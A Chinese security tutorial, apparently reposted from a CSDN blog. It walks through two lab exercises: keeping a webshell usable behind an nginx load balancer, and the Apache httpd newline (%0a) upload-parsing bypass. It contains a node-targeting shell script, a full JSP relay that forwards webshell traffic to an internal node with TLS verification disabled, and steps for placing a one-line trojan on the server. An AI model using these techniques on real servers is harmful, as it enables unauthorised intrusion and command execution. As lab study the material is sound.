nginx反向代理负载均衡+Apache httpd换行解析漏洞

目录

nginx反向代理负载均衡

解决方法

方法一、关机/停服

方法二、判断是否执行

方法三、在Web 层做一次 HTTP 流量转发

Apache httpd换行解析漏洞

上传一个名为1.php的文件

然后再文件名后插入0A


nginx反向代理负载均衡

反向代理方式其中比较流行的方式是用 nginx 来做负载均衡,下面是负载均衡的几种策略

名称 策略
轮询(默认) 按请求顺序逐一分配
weight 根据权重分配
ip_hash 根据客户端IP分配
least_conn 根据连接数分配
fair (第三方) 根据响应时间分配
url_hash (第三方) 根据响应时间分配

用轮询来做示范

nginx服务器反向代理到两个tomact服务器

nginx反向代理负载均衡+Apache httpd换行解析漏洞插图

使用docker

检查一下docker是否正常

nginx反向代理负载均衡+Apache httpd换行解析漏洞插图1

[root@localhost ~]# docker-compose up -d [root@localhost ~]# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 525a0cc657a5 nginx:1.17 "nginx -g 'daemon of…" 11 seconds ago Up 10 seconds 0.0.0.0:18080->80/tcp loadbalance-jsp_nginx_1 9ff245f052e6 loadbalance-jsp_lbsnode1 "catalina.sh run" 11 seconds ago Up 11 seconds 8080/tcp loadbalance-jsp_lbsnode1_1 cc168aa146ea loadbalance-jsp_lbsnode2 "catalina.sh run" 11 seconds ago Up 11 seconds 8080/tcp loadbalance-jsp_lbsnode2_1 

查看完后,进入浏览器

nginx反向代理负载均衡+Apache httpd换行解析漏洞插图2

在蚁剑中添加shell

nginx反向代理负载均衡+Apache httpd换行解析漏洞插图3

URL地址就写(自己的)

http://192.168.29.132:18080/ant.jsp

nginx反向代理负载均衡+Apache httpd换行解析漏洞插图4

解决方法

方法一、关机/停服

关掉其中一台机器,这种行为最不推荐,但如果你不在乎关掉服务器的损失当我没说。这种方法影响业务,不建议尝试,测试除外。

方法二、判断是否执行

既然无法预测下一次是哪台机器去执行,我们可以在Shell 执行 Payload 之前,判断要不要执行。
创建shell 脚本

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'` if [$MYIP == "172.18.0.3" ]; then echo "Node1. I will execute command.\n=======\n" ifconfig else echo "Other. Try again." fi

nginx反向代理负载均衡+Apache httpd换行解析漏洞插图5

最后有点遗憾,蚁剑还是没完全成功

方法三、在Web 层做一次 HTTP 流量转发

这里一定要保证每一台node上都要有相同的文件(不要上传)

<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.net.ssl.*" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.DataInputStream" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.OutputStream" %> <%@ page import="java.net.HttpURLConnection" %> <%@ page import="java.net.URL" %> <%@ page import="java.security.KeyManagementException" %> <%@ page import="java.security.NoSuchAlgorithmException" %> <%@ page import="java.security.cert.CertificateException" %> <%@ page import="java.security.cert.X509Certificate" %> <%! public static void ignoreSsl() throws Exception { HostnameVerifier hv = new HostnameVerifier() { public boolean verify(String urlHostName, SSLSession session) { return true; } }; trustAllHttpsCertificates(); HttpsURLConnection.setDefaultHostnameVerifier(hv); } private static void trustAllHttpsCertificates() throws Exception { TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() { public X509Certificate[] getAcceptedIssuers() { return null; } @Override public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } @Override public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } } }; try { SSLContext sc = SSLContext.getInstance("TLS"); sc.init(null, trustAllCerts, new java.security.SecureRandom()); HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); } catch (KeyManagementException e) { e.printStackTrace(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } } %> <% String target = "http://172.18.0.3:8080/ant.jsp"; URL url = new URL(target); if ("https".equalsIgnoreCase(url.getProtocol())) { ignoreSsl(); } HttpURLConnection conn = (HttpURLConnection)url.openConnection(); StringBuilder sb = new StringBuilder(); conn.setRequestMethod(request.getMethod()); conn.setConnectTimeout(30000); conn.setDoOutput(true); conn.setDoInput(true); conn.setInstanceFollowRedirects(false); conn.connect(); ByteArrayOutputStream baos=new ByteArrayOutputStream(); OutputStream out2 = conn.getOutputStream(); DataInputStream in=new DataInputStream(request.getInputStream()); byte[] buf = new byte[1024]; int len = 0; while ((len = in.read(buf)) != -1) { baos.write(buf, 0, len); } baos.flush(); baos.writeTo(out2); baos.close(); InputStream inputStream = conn.getInputStream(); OutputStream out3=response.getOutputStream(); int len2 = 0; while ((len2 = inputStream.read(buf)) != -1) { out3.write(buf, 0, len2); } out3.flush(); out3.close(); %> 

nginx反向代理负载均衡+Apache httpd换行解析漏洞插图6

Apache httpd换行解析漏洞

apache在2.4.0-2.4.29版本中存在一个解析漏洞。程序在解析PHP时,如果文件名最后有一个换行符x0A,apache依然会将其当成php解析,但是在上传文件时可以成功的绕过黑名单

上传一个名为1.php的文件

 <?php phpinfo(); ?>

nginx反向代理负载均衡+Apache httpd换行解析漏洞插图7

然后再文件名后插入0A

这个位置也就是在 od oa的前面

nginx反向代理负载均衡+Apache httpd换行解析漏洞插图8

nginx反向代理负载均衡+Apache httpd换行解析漏洞插图9

最后环境搭建不是很成功,下载参考并使用了一下别人的环境,然后在网页上是这样的: (成功了会回来修改并加上没成功原因和排错过程)

这时候浏览器上什么也没有显示,但是此时文件已经上传成功了。接下来访问一句话木马a.php%0a,并通过参数a传递命令即可控制服务器nginx反向代理负载均衡+Apache httpd换行解析漏洞插图10

原文链接:https://blog.csdn.net/m0_56501091/article/details/128963254

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享